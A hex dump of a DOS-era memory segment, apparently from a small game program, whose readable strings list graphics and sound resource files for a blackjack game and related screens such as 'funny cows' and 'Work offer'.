28BA:2A60 0C 04 25 00 00 BA 64 71 0D B0 CD 0E CE 00 00 00 ..%...dq........
28BA:2A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2A80 0A 0C 04 25 00 00 AD BF 00 0B B7 B0 32 B3 00 00 ...%........2...
28BA:2A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2AA0 00 A0 07 0F 1F 00 00 86 2A BA 28 38 DE E0 0A EA ........*.(8....
28BA:2AB0 AE F6 AF 00 00 00 00 00 00 00 00 01 A7 2A BA 28 .............*.(
28BA:2AC0 00 00 00 00 00 00 A0 07 0F 1F 00 00 38 DE E0 0A ............8...
28BA:2AD0 EA AE F6 AF 00 00 00 00 00 00 00 00 01 A7 2A BA ..............*.
28BA:2AE0 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 32 00 5C (............2.\
28BA:2AF0 00 8D 00 A7 00 00 00 00 00 00 00 2E 00 59 00 39 .............Y.9
28BA:2B00 00 55 00 ED 2A BA 28 00 00 D2 A3 BA 28 AB 2A BA .U..*.(.....(.*.
28BA:2B10 28 CC 2A BA 28 B6 FE BD 0A 7F AD E8 AE 9C AD B2 (.*.(...........
28BA:2B20 AD FB 2A BA 28 03 09 2B BA 28 00 00 00 00 20 02 ..*.(..+.(.... .
28BA:2B30 1C 14 0F 1F 00 00 15 2B BA 28 D9 5B AA 0A AC AC .......+.(.[....
28BA:2B40 7F AD 00 00 00 00 00 00 00 00 01 36 2B BA 28 00 ...........6+.(.
28BA:2B50 00 00 00 22 00 A0 07 0F 1F 00 00 3A 2B BA 28 91 ...".......:+.(.
28BA:2B60 5A 8D 0A 7C AB AB AC 00 00 00 00 00 00 00 00 00 Z..|............
28BA:2B70 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 ................
28BA:2B80 00 00 00 00 00 00 00 0A 00 0A 00 35 01 95 00 00 ...........5....
28BA:2B90 00 00 00 1B 02 F8 17 FC 01 F8 17 FC 01 F8 17 00 ................
28BA:2BA0 00 00 00 00 00 00 00 70 61 69 72 73 70 72 74 2E .......pairsprt.
28BA:2BB0 70 73 70 00 70 72 61 64 6F 32 2E 70 73 70 00 74 psp.prado2.psp.t
28BA:2BC0 77 69 73 6C 61 7A 6F 2E 70 73 70 00 70 61 69 72 wislazo.psp.pair
28BA:2BD0 70 61 6C 2E 70 70 73 00 62 61 63 6B 67 72 6F 75 pal.pps.backgrou
28BA:2BE0 6E 64 20 62 75 66 66 65 72 2E 0A 00 66 75 6E 6E nd buffer...funn
28BA:2BF0 79 20 63 6F 77 73 2E 0A 00 74 77 69 73 74 65 64 y cows...twisted
28BA:2C00 20 6C 61 7A 6F 6F 20 63 75 72 73 6F 72 2E 0A 00 lazoo cursor...
28BA:2C10 63 6F 77 2E 72 61 77 00 68 6F 72 73 65 2E 72 61 cow.raw.horse.ra
28BA:2C20 77 00 71 75 69 74 2E 70 73 70 00 00 6F 73 74 61 w.quit.psp..osta
28BA:2C30 6C 6B 2E 76 69 70 00 65 78 5F 70 61 69 72 2E 76 lk.vip.ex_pair.v
28BA:2C40 69 70 00 65 78 5F 70 69 61 6E 2E 76 69 70 00 65 ip.ex_pian.vip.e
28BA:2C50 78 5F 74 72 61 69 2E 76 69 70 00 65 78 5F 64 6F x_trai.vip.ex_do
28BA:2C60 63 74 2E 76 69 70 00 65 78 5F 6D 75 73 74 2E 76 ct.vip.ex_must.v
28BA:2C70 69 70 00 65 78 5F 68 65 72 65 2E 76 69 70 00 65 ip.ex_here.vip.e
28BA:2C80 78 5F 66 69 72 65 2E 76 69 70 00 00 00 00 00 00 x_fire.vip......
28BA:2C90 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2CA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2CB0 00 00 93 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2CC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2CD0 00 00 00 B9 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2CE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2CF0 00 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 ....c...........
28BA:2D00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2D10 00 00 00 00 00 B3 00 00 00 00 00 00 00 00 00 00 ................
28BA:2D20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2D30 00 00 00 00 00 00 4F 01 00 00 00 00 00 00 00 00 ......O.........
28BA:2D40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2D50 00 00 00 00 00 00 00 FE 00 00 00 00 00 00 00 00 ................
28BA:2D60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2D70 00 00 00 5E 2E BA 28 28 00 00 00 BD 02 97 11 5B ...^..((.......[
28BA:2D80 2C BA 28 EE 2C BA 28 00 6A 2E BA 28 32 00 00 00 ,.(.,.(.j..(2...
28BA:2D90 3C 06 32 12 67 2C BA 28 0F 2D BA 28 00 76 2E BA <.2.g,.(.-.(.v..
28BA:2DA0 28 3C 00 00 00 20 06 94 10 4F 2C BA 28 CD 2C BA (<... ...O,.(.,.
28BA:2DB0 28 00 82 2E BA 28 0F 00 01 00 3A 02 F8 17 37 2C (....(....:...7,
28BA:2DC0 BA 28 8B 2C BA 28 00 8E 2E BA 28 50 00 00 00 32 .(.,.(....(P...2
28BA:2DD0 0D 51 15 73 2C BA 28 30 2D BA 28 00 9A 2E BA 28 .Q.s,.(0-.(....(
28BA:2DE0 5A 00 00 00 B5 02 08 1A 2C 2C BA 28 65 2F BA 28 Z.......,,.(e/.(
28BA:2DF0 00 A6 2E BA 28 28 00 00 00 44 08 2E 14 7F 2C BA ....((...D....,.
28BA:2E00 28 51 2D BA 28 00 B2 2E BA 28 23 00 00 00 F4 03 (Q-.(....(#.....
28BA:2E10 73 0E 43 2C BA 28 AC 2C BA 28 72 2D BA 28 00 00 s.C,.(.,.(r-.(..
28BA:2E20 40 01 00 00 00 00 F2 A8 BA 28 00 00 00 00 09 00 @........(......
28BA:2E30 67 18 26 00 67 18 01 00 00 00 00 00 00 00 00 00 g.&.g...........
28BA:2E40 40 01 00 00 00 00 F2 A8 BA 28 00 00 00 00 09 00 @........(......
28BA:2E50 67 18 26 00 67 18 00 00 00 00 00 00 00 00 6F 66 g.&.g.........of
28BA:2E60 5F 64 6F 63 74 2E 70 73 70 00 6F 66 5F 68 75 6E _doct.psp.of_hun
28BA:2E70 74 2E 70 73 70 00 6F 66 5F 74 72 61 69 2E 70 73 t.psp.of_trai.ps
28BA:2E80 70 00 6F 66 5F 70 61 69 72 2E 70 73 70 00 6F 66 p.of_pair.psp.of
28BA:2E90 5F 61 74 74 6F 2E 70 73 70 00 6F 66 5F 76 61 6B _atto.psp.of_vak
28BA:2EA0 69 2E 70 73 70 00 6F 66 5F 66 69 72 65 2E 70 73 i.psp.of_fire.ps
28BA:2EB0 70 00 6F 66 5F 70 69 61 6E 2E 70 73 70 00 63 72 p.of_pian.psp.cr
28BA:2EC0 65 61 74 69 6E 67 20 6F 66 66 65 72 73 00 57 6F eating offers.Wo
28BA:2ED0 72 6B 6F 66 66 65 72 00 6E 6F 77 6F 72 6B 2E 70 rkoffer.nowork.p
28BA:2EE0 73 70 00 4E 6F 20 77 6F 72 6B 20 6F 66 66 65 72 sp.No work offer
28BA:2EF0 00 70 61 6E 65 6C 2E 70 73 70 00 50 61 6E 65 6C .panel.psp.Panel
28BA:2F00 20 66 6F 72 20 77 6F 72 6B 00 70 61 6E 65 6C 70 for work.panelp
28BA:2F10 61 6C 2E 70 73 70 00 50 61 6C 65 74 00 00 00 00 al.psp.Palet....
28BA:2F20 00 00 00 00 00 00 00 B4 00 3F 01 C7 00 F2 A8 BA .........?......
28BA:2F30 28 00 00 00 00 AF 02 08 1A AF 02 08 1A 00 00 00 (...............
28BA:2F40 00 00 00 00 00 00 00 00 00 3F 01 B3 00 00 00 00 .........?......
28BA:2F50 00 90 02 08 1A 71 02 08 1A 71 02 08 1A 00 00 00 .....q...q......
28BA:2F60 00 25 2F BA 28 00 00 00 00 01 00 93 02 00 00 00 .%/.(...........
28BA:2F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:2F80 00 00 00 00 00 00 66 75 6E 6E 79 76 61 6B 2E 70 ......funnyvak.p
28BA:2F90 73 70 00 6E 75 6D 62 61 2E 70 73 70 00 76 61 6B sp.numba.psp.vak
28BA:2FA0 67 72 6F 75 6E 2E 70 73 70 00 74 77 69 73 6C 61 groun.psp.twisla
28BA:2FB0 7A 6F 2E 70 73 70 00 76 61 6B 70 61 6C 2E 70 70 zo.psp.vakpal.pp
28BA:2FC0 73 00 62 61 63 6B 67 72 6F 75 6E 64 20 62 75 66 s.background buf
28BA:2FD0 66 65 72 2E 0A 00 66 75 6E 6E 79 20 63 6F 77 73 fer...funny cows
28BA:2FE0 2E 0A 00 6E 75 6D 62 61 73 2E 0A 00 6F 75 74 6C ...numbas...outl
28BA:2FF0 69 6E 65 20 62 75 66 66 65 72 2E 0A 00 74 77 69 ine buffer...twi
28BA:3000 73 74 65 64 20 6C 61 7A 6F 6F 20 63 75 72 73 6F sted lazoo curso
28BA:3010 72 2E 0A 00 63 6F 77 2E 72 61 77 00 71 75 69 74 r...cow.raw.quit
28BA:3020 2E 70 73 70 00 00 00 00 00 00 00 00 00 00 00 00 .psp............
28BA:3030 00 00 00 00 00 06 00 00 00 FA A8 BA 28 06 06 06 ............(...
28BA:3040 00 00 DA A8 BA 28 02 02 06 00 00 D6 A8 BA 28 34 .....(........(4
28BA:3050 30 BA 28 06 00 37 00 13 00 00 00 08 00 C3 00 13 0.(..7..........
28BA:3060 00 00 00 0B 00 37 00 49 00 00 00 0C 00 7D 00 49 .....7.I.....}.I
28BA:3070 00 00 00 0D 00 C3 00 49 00 00 00 10 00 37 00 7F .......I.....7..
28BA:3080 00 00 00 11 00 7D 00 7F 00 00 00 12 00 C3 00 7F .....}..........
28BA:3090 00 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 ................
28BA:30A0 00 00 1F 00 26 00 00 00 FC 00 A5 00 1A 01 B4 00 ....&...........
28BA:30B0 F2 A8 BA 28 00 00 00 00 01 00 7F 1A 01 00 7F 1A ...(............
28BA:30C0 00 00 00 00 00 00 00 00 FC 00 B6 00 1A 01 C5 00 ................
28BA:30D0 F2 A8 BA 28 00 00 00 00 0F 00 7F 1A 0F 00 7F 1A ...(............
28BA:30E0 00 00 00 00 00 00 00 00 1C 01 A5 00 3A 01 B4 00 ............:...
28BA:30F0 F2 A8 BA 28 00 00 00 00 1D 00 7F 1A 1D 00 7F 1A ...(............
28BA:3100 00 00 00 00 00 00 00 00 1C 01 B6 00 3A 01 C5 00 ............:...
28BA:3110 F2 A8 BA 28 00 00 00 00 2B 00 7F 1A 2B 00 7F 1A ...(....+...+...
28BA:3120 00 00 00 00 00 00 00 00 0A 00 49 00 2A 00 95 00 ..........I.*...
28BA:3130 8E A1 BA 28 00 00 00 00 39 00 7F 1A 47 00 7F 1A ...(....9...G...
28BA:3140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7A 00 ..............z.
28BA:3150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5D ...............]
28BA:3170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3180 00 00 00 00 00 00 00 00 00 00 62 75 73 74 2E 72 ..........bust.r
28BA:3190 61 77 00 62 6A 2E 72 61 77 00 6E 00 64 65 61 6C aw.bj.raw.n.deal
28BA:31A0 2E 72 61 77 00 63 65 72 6F 2E 72 61 77 00 43 45 .raw.cero.raw.CE
28BA:31B0 52 4F 31 2E 50 53 50 00 6D 61 72 63 6F 32 36 2E RO1.PSP.marco26.
28BA:31C0 70 73 70 00 54 65 6D 70 6F 72 61 72 79 20 50 41 psp.Temporary PA
28BA:31D0 4C 00 64 65 61 6C 65 72 2E 70 73 70 00 42 4A 20 L.dealer.psp.BJ
28BA:31E0 67 72 61 70 68 69 63 00 62 65 74 2E 70 73 70 00 graphic.bet.psp.
28BA:31F0 42 4A 20 42 65 74 20 47 72 61 70 68 69 63 00 63 BJ Bet Graphic.c
28BA:3200 61 72 69 63 6F 6E 73 2E 70 73 70 00 42 4A 20 62 aricons.psp.BJ b
28BA:3210 75 74 74 6F 6E 73 00 6D 6F 6E 65 64 61 2E 70 73 uttons.moneda.ps
28BA:3220 70 00 42 4A 20 63 6F 69 6E 00 63 61 72 74 61 73 p.BJ coin.cartas
28BA:3230 2E 70 73 70 00 50 61 63 6B 20 6F 66 20 63 61 72 .psp.Pack of car
28BA:3240 64 73 00 77 6F 6D 68 61 6E 64 2E 70 73 70 00 41 ds.womhand.psp.A
28BA:3250 6E 69 00 70 6C 61 79 65 72 2E 72 61 77 00 64 65 ni.player.raw.de
28BA:3260 61 6C 65 72 2E 72 61 77 00 70 77 2E 72 61 77 00 aler.raw.pw.raw.
28BA:3270 62 77 2E 72 61 77 00 74 61 68 75 72 2E 76 69 70 bw.raw.tahur.vip
28BA:3280 00 6C 65 74 73 70 6C 61 79 2E 76 69 70 00 73 00 .letsplay.vip.s.
28BA:3290 7B 00 98 00 AC 00 00 00 00 00 60 01 78 00 7E 00 {.........`.x.~.
28BA:32A0 78 00 80 00 8E 32 BA 28 0A 00 76 00 7C 00 3F 00 x....2.(..v.|.?.
28BA:32B0 50 00 9C 32 BA 28 60 06 16 CC AB 0B AA B9 00 00 P..2.(`.........
28BA:32C0 00 00 00 00 AA 32 BA 28 00 00 00 00 00 00 00 00 .....2.(........
28BA:32D0 00 00 00 0A 0C 04 25 00 00 B8 32 BA 28 C4 EF E4 ......%...2.(...
28BA:32E0 04 FC 51 3C 52 00 00 00 00 00 00 00 00 01 D9 32 ..Q<R..........2
28BA:32F0 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 55 00 .(............U.
28BA:3300 7F 00 A7 00 B9 00 00 00 00 00 00 00 D2 A3 BA 28 ...............(
28BA:3310 DD 32 BA 28 93 CC DF 04 A2 51 FA 51 BA 51 CA 51 .2.(.....Q.Q.Q.Q
28BA:3320 FE 32 BA 28 02 0C 33 BA 28 00 00 00 00 00 02 A0 .2.(..3.(.......
28BA:3330 07 0F 1F 00 00 67 00 80 00 2E 00 60 00 00 00 00 .....g.....`....
28BA:3340 00 00 00 D2 A3 BA 28 14 33 BA 28 05 75 CE 04 BA ......(.3.(.u...
28BA:3350 50 A0 51 6E 51 80 51 35 33 BA 28 02 43 33 BA 28 P.QnQ.Q53.(.C3.(
28BA:3360 00 00 00 00 00 02 00 0B 0F 1F 00 00 7A 00 84 00 ............z...
28BA:3370 6B 00 7C 00 00 00 00 00 57 01 70 00 78 00 28 00 k.|.....W.p.x.(.
28BA:3380 41 00 6C 33 BA 28 22 01 23 A1 AC 0B AE B9 00 00 A.l3.(".#.......
28BA:3390 00 00 00 00 7A 33 BA 28 00 00 00 00 00 00 00 00 ....z3.(........
28BA:33A0 00 00 00 0A 0C 04 25 00 00 88 33 BA 28 2A 4D 03 ......%...3.(*M.
28BA:33B0 05 1A 54 58 54 00 00 00 00 00 00 00 00 01 A9 33 ..TXT..........3
28BA:33C0 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 52 00 .(............R.
28BA:33D0 7C 00 25 00 3F 00 00 00 00 00 00 00 D2 A3 BA 28 |.%.?..........(
28BA:33E0 AD 33 BA 28 45 56 00 05 BC 53 16 54 D2 53 DC 53 .3.(EV...S.T.S.S
28BA:33F0 CE 33 BA 28 02 DC 33 BA 28 00 00 00 00 00 02 A0 .3.(..3.(.......
28BA:3400 07 0F 1F 00 00 51 00 80 00 81 00 9C 00 00 00 00 .....Q..........
28BA:3410 00 00 00 D2 A3 BA 28 E4 33 BA 28 F5 49 F7 04 F8 ......(.3.(.I...
28BA:3420 52 BA 53 80 53 90 53 05 34 BA 28 02 13 34 BA 28 R.S.S.S.4.(..4.(
28BA:3430 00 00 00 00 00 02 00 0B 0F 1F 00 00 1B 34 BA 28 .............4.(
28BA:3440 E6 48 E8 04 44 52 F4 52 00 00 00 00 00 00 00 00 .H..DR.R........
28BA:3450 01 3C 34 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 .<4.(...........
28BA:3460 00 00 5A 00 6A 00 D4 00 E6 00 00 00 00 00 25 01 ..Z.j.........%.
28BA:3470 6E 00 75 00 8E 00 99 00 62 34 BA 28 45 01 5F FA n.u.....b4.(E._.
28BA:3480 AE 0B B8 B9 00 00 00 00 00 00 70 34 BA 28 00 00 ..........p4.(..
28BA:3490 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 7E ............%..~
28BA:34A0 34 BA 28 C7 6D A4 06 DA 6C C6 6D 00 00 00 00 00 4.(.m...l.m.....
28BA:34B0 00 00 00 01 9F 34 BA 28 00 00 00 00 00 00 A0 07 .....4.(........
28BA:34C0 0F 1F 00 00 5B 00 77 00 1F 00 40 00 00 00 00 00 ....[.w...@.....
28BA:34D0 00 00 D2 A3 BA 28 A3 34 BA 28 D2 88 A1 06 4E 6C .....(.4.(....Nl
28BA:34E0 D6 6C 98 6C AE 6C C4 34 BA 28 02 D2 34 BA 28 00 .l.l.l.4.(..4.(.
28BA:34F0 00 00 00 00 02 A0 07 0F 1F 00 00 3C 00 5A 00 C9 ...........<.Z..
28BA:3500 00 D9 00 00 00 00 00 00 00 D2 A3 BA 28 DA 34 BA ............(.4.
28BA:3510 28 73 F9 9F 06 E6 6B 4C 6C 0C 6C 1E 6C FB 34 BA (s....kLl.l.l.4.
28BA:3520 28 02 09 35 BA 28 00 00 00 00 00 02 A0 07 0F 1F (..5.(..........
28BA:3530 00 00 57 00 72 00 86 00 97 00 00 00 00 00 00 00 ..W.r...........
28BA:3540 D2 A3 BA 28 11 35 BA 28 EA 0A 9E 06 6A 6B E2 6B ...(.5.(....jk.k
28BA:3550 A9 6B BE 6B 32 35 BA 28 02 40 35 BA 28 00 00 00 .k.k25.(.@5.(...
28BA:3560 00 00 02 00 0B 0F 1F 00 00 00 D2 A3 BA 28 18 D0 .............(..
28BA:3570 3B 0A E0 9F 22 A0 00 00 00 00 00 00 00 00 01 6A ;..."..........j
28BA:3580 35 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 11 5.(.............
28BA:3590 43 BA 28 92 EA 1E 0A 56 9D BA 9D 00 00 00 00 00 C.(....V........
28BA:35A0 00 00 00 01 8F 35 BA 28 00 00 00 00 00 00 A0 07 .....5.(........
28BA:35B0 0F 1F 00 00 51 00 76 00 AC 00 C7 00 00 00 00 00 ....Q.v.........
28BA:35C0 00 00 D2 A3 BA 28 93 35 BA 28 CB 8C 1C 0A EC 9C .....(.5.(......
28BA:35D0 52 9D 06 9D 12 9D B4 35 BA 28 02 C2 35 BA 28 00 R......5.(..5.(.
28BA:35E0 00 00 00 00 02 A0 07 0F 1F 00 00 54 00 73 00 44 ...........T.s.D
28BA:35F0 00 59 00 00 00 00 00 00 00 6E 35 BA 28 CA 35 BA .Y.......n5.(.5.
28BA:3600 28 10 C6 19 0A 6E 9C E0 9C 8C 9C A0 9C EB 35 BA (....n........5.
28BA:3610 28 02 F9 35 BA 28 00 00 00 00 00 02 00 0B 0F 1F (..5.(..........
28BA:3620 00 00 9D 26 39 0A 94 9F D0 9F 00 00 00 00 00 00 ...&9...........
28BA:3630 00 00 01 8F 35 BA 28 00 00 00 00 00 00 A0 07 0F ....5.(.........
28BA:3640 1F 00 00 D2 A3 BA 28 22 36 BA 28 F9 8B 36 0A 28 ......("6.(..6.(
28BA:3650 9F 92 9F 4E 9F 5C 9F EB 35 BA 28 02 43 36 BA 28 ...N.\..5.(.C6.(
28BA:3660 00 00 00 00 00 02 A0 07 0F 1F 00 00 6E 35 BA 28 ............n5.(
28BA:3670 4B 36 BA 28 69 8B 34 0A D0 9E 1A 9F E8 9E F6 9E K6.(i.4.........
28BA:3680 B4 35 BA 28 02 6C 36 BA 28 00 00 00 00 00 02 00 .5.(.l6.(.......
28BA:3690 0B 0F 1F 00 00 00 74 8E C6 04 18 4F 24 4F 00 00 ......t....O$O..
28BA:36A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:36B0 00 A0 07 0F 1F 00 00 62 00 7D 00 73 00 81 00 00 .......b.}.s....
28BA:36C0 00 00 00 04 00 00 00 00 00 96 36 BA 28 54 5C C5 ..........6.(T\.
28BA:36D0 04 CA 4E 16 4F CC 4E 14 4F B7 36 BA 28 02 C5 36 ..N.O.N.O.6.(..6
28BA:36E0 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 C0 BA .(..............
28BA:36F0 C4 04 BC 4E CA 4E 00 00 00 00 00 00 00 00 00 00 ...N.N..........
28BA:3700 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 5F ..............._
28BA:3710 00 7D 00 B7 00 C8 00 00 00 00 00 04 00 00 00 00 .}..............
28BA:3720 00 EE 36 BA 28 87 CC C3 04 8E 4E BA 4E 8E 4E B6 ..6.(.....N.N.N.
28BA:3730 4E 0F 37 BA 28 02 1D 37 BA 28 00 00 00 00 00 06 N.7.(..7.(......
28BA:3740 A0 07 0F 1F 00 00 0F 59 C8 04 74 4F 82 4F 00 00 .......Y..tO.O..
28BA:3750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3760 00 A0 07 0F 1F 00 00 45 00 5D 00 A5 00 B1 00 00 .......E.]......
28BA:3770 00 00 00 04 00 00 00 00 00 46 37 BA 28 9A 31 C7 .........F7.(.1.
28BA:3780 04 28 4F 72 4F 2A 4F 70 4F 67 37 BA 28 02 75 37 .(OrO*OpOg7.(.u7
28BA:3790 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 26 1A .(............&.
28BA:37A0 CA 04 D4 4F E0 4F 00 00 00 00 00 00 00 00 00 00 ...O.O..........
28BA:37B0 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 22 ..............."
28BA:37C0 00 33 00 71 00 7B 00 00 00 00 00 04 00 00 00 00 .3.q.{..........
28BA:37D0 00 9E 37 BA 28 F3 F6 C8 04 82 4F D2 4F 84 4F D0 ..7.(.....O.O.O.
28BA:37E0 4F BF 37 BA 28 02 CD 37 BA 28 00 00 00 00 00 02 O.7.(..7.(......
28BA:37F0 A0 07 0F 1F 00 00 06 DF CB 04 30 50 42 50 00 00 ..........0PBP..
28BA:3800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3810 00 A0 07 0F 1F 00 00 50 00 6B 00 A9 00 B6 00 00 .......P.k......
28BA:3820 00 00 00 04 00 00 00 00 00 F6 37 BA 28 DF B2 CA ..........7.(...
28BA:3830 04 E2 4F 2A 50 E6 4F 28 50 17 38 BA 28 02 25 38 ..O*P.O(P.8.(.%8
28BA:3840 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 D1 BC .(..............
28BA:3850 CD 04 9C 50 BA 50 00 00 00 00 00 00 00 00 00 00 ...P.P..........
28BA:3860 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 1D ................
28BA:3870 00 2F 00 89 00 92 00 00 00 00 00 04 00 00 00 00 ./..............
28BA:3880 00 4E 38 BA 28 C2 85 CC 04 42 50 98 50 52 50 98 .N8.(....BP.PRP.
28BA:3890 50 6F 38 BA 28 02 7D 38 BA 28 00 00 00 00 00 02 Po8.(.}8.(......
28BA:38A0 A0 07 0F 1F 00 00 CD 36 BA 28 25 37 BA 28 7D 37 .......6.(%7.(}7
28BA:38B0 BA 28 D5 37 BA 28 2D 38 BA 28 85 38 BA 28 54 5C .(.7.(-8.(.8.(T\
28BA:38C0 C5 04 CA 4E CA 4E 00 00 00 00 00 00 00 00 06 A6 ...N.N..........
28BA:38D0 38 BA 28 00 00 00 00 C0 00 E9 08 0F 1F 05 00 BE 8.(.............
28BA:38E0 38 BA 28 C0 BA C4 04 BC 4E CA 4E 00 00 00 00 00 8.(.....N.N.....
28BA:38F0 00 00 00 01 DF 38 BA 28 00 00 00 00 00 00 A0 07 .....8.(........
28BA:3900 0F 1F 00 00 5C 00 7D 00 B5 00 C7 00 00 00 00 00 ....\.}.........
28BA:3910 04 00 BE 38 BA 28 E3 38 BA 28 99 67 BA 04 18 4E ...8.(.8.(.g...N
28BA:3920 BA 4E 8E 4E B8 4E 04 39 BA 28 02 12 39 BA 28 00 .N.N.N.9.(..9.(.
28BA:3930 00 00 00 00 02 A0 07 0F 1F 00 00 00 5B 00 62 00 ............[.b.
28BA:3940 80 00 8A 00 00 00 00 00 0A 00 63 00 6E 00 39 00 ..........c.n.9.
28BA:3950 43 00 3C 39 BA 28 40 01 01 A7 A8 0B 9C B9 00 00 C.<9.(@.........
28BA:3960 00 00 00 00 4A 39 BA 28 00 00 00 00 00 00 00 00 ....J9.(........
28BA:3970 00 00 00 0A 0C 04 25 00 00 58 39 BA 28 25 5E F1 ......%..X9.(%^.
28BA:3980 02 7A 2E B3 2E 00 00 00 00 00 00 00 00 01 79 39 .z............y9
28BA:3990 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 28 00 .(............(.
28BA:39A0 57 00 75 00 89 00 00 00 00 00 00 00 D2 A3 BA 28 W.u............(
28BA:39B0 7D 39 BA 28 61 72 ED 02 30 2E 78 2E 38 2E 46 2E }9.(ar..0.x.8.F.
28BA:39C0 9E 39 BA 28 02 AC 39 BA 28 00 00 00 00 00 02 A0 .9.(..9.(.......
28BA:39D0 07 0F 1F 00 00 2C 00 5C 00 98 00 AF 00 00 00 00 .....,.\........
28BA:39E0 00 00 00 D2 A3 BA 28 B4 39 BA 28 9F E2 D5 02 8C ......(.9.(.....
28BA:39F0 2C 2C 2E C8 2D DE 2D D5 39 BA 28 02 E3 39 BA 28 ,,..-.-.9.(..9.(
28BA:3A00 00 00 00 00 00 02 00 0B 0F 1F 00 00 35 37 DC 05 ............57..
28BA:3A10 E4 5D 22 5F 00 00 00 00 00 00 00 00 00 00 00 00 .]"_............
28BA:3A20 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 00 46 15 ..............F.
28BA:3A30 2F 09 34 90 35 91 00 00 00 00 00 00 00 00 00 00 /.4.5...........
28BA:3A40 00 00 00 00 00 00 00 00 0A A0 07 0F 1F 00 00 84 ................
28BA:3A50 D9 32 09 35 91 A1 92 00 00 00 00 00 00 00 00 00 .2.5............
28BA:3A60 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 ................
28BA:3A70 11 A1 F3 02 B4 2E 4A 30 00 00 00 00 00 00 00 00 ......J0........
28BA:3A80 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 ................
28BA:3A90 00 AC 9F 0B 03 4A 30 75 31 00 00 00 00 00 00 00 .....J0u1.......
28BA:3AA0 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F ................
28BA:3AB0 00 00 44 73 20 03 85 31 C8 32 00 00 00 00 00 00 ..Ds ..1.2......
28BA:3AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F ................
28BA:3AD0 1F 00 00 E6 A4 2E 03 CC 32 F0 33 00 00 00 00 00 ........2.3.....
28BA:3AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 ................
28BA:3AF0 0F 1F 00 00 B0 AD 37 03 F0 33 FC 34 00 00 00 00 ......7..3.4....
28BA:3B00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 ................
28BA:3B10 07 0F 1F 00 00 B0 09 CE 05 69 5C 34 5D 00 00 00 .........i\4]...
28BA:3B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3B30 A0 07 0F 1F 00 00 38 36 D6 05 34 5D E3 5D 00 00 ......86..4].]..
28BA:3B40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3B50 00 A0 07 0F 1F 00 00 D6 BB EF 05 23 5F 35 60 00 ...........#_5`.
28BA:3B60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3B70 00 00 A0 07 0F 1F 00 00 CF D1 FA 05 47 60 4F 61 ............G`Oa
28BA:3B80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3B90 00 00 00 A0 07 0F 1F 00 00 55 F2 0D 09 D1 8C 39 .........U.....9
28BA:3BA0 8E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:3BB0 00 00 00 00 A0 07 0F 1F 00 00 72 BE 18 09 43 8E ..........r...C.
28BA:3BC0 34 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4...............
28BA:3BD0 00 00 00 00 00 A0 07 0F 1F 00 00 00 AA 2C 4E 0A .............,N.
28BA:3BE0 79 A3 A3 A3 00 00 00 00 00 00 00 00 00 00 00 00 y...............
28BA:3BF0 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 3F 00 5E .............?.^
28BA:3C00 00 99 00 AB 00 00 00 00 00 00 00 D2 A3 BA 28 DC ..............(.
28BA:3C10 3B BA 28 96 B2 4C 0A 0B A3 77 A3 2C A3 44 A3 FD ;.(..L...w.,.D..
28BA:3C20 3B BA 28 02 0B 3C BA 28 00 00 00 00 00 02 A0 07 ;.(..<.(........
28BA:3C30 0F 1F 15 00 4B 62 50 0A 12 A4 2E A4 00 00 00 00 ....KbP.........
28BA:3C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 ................
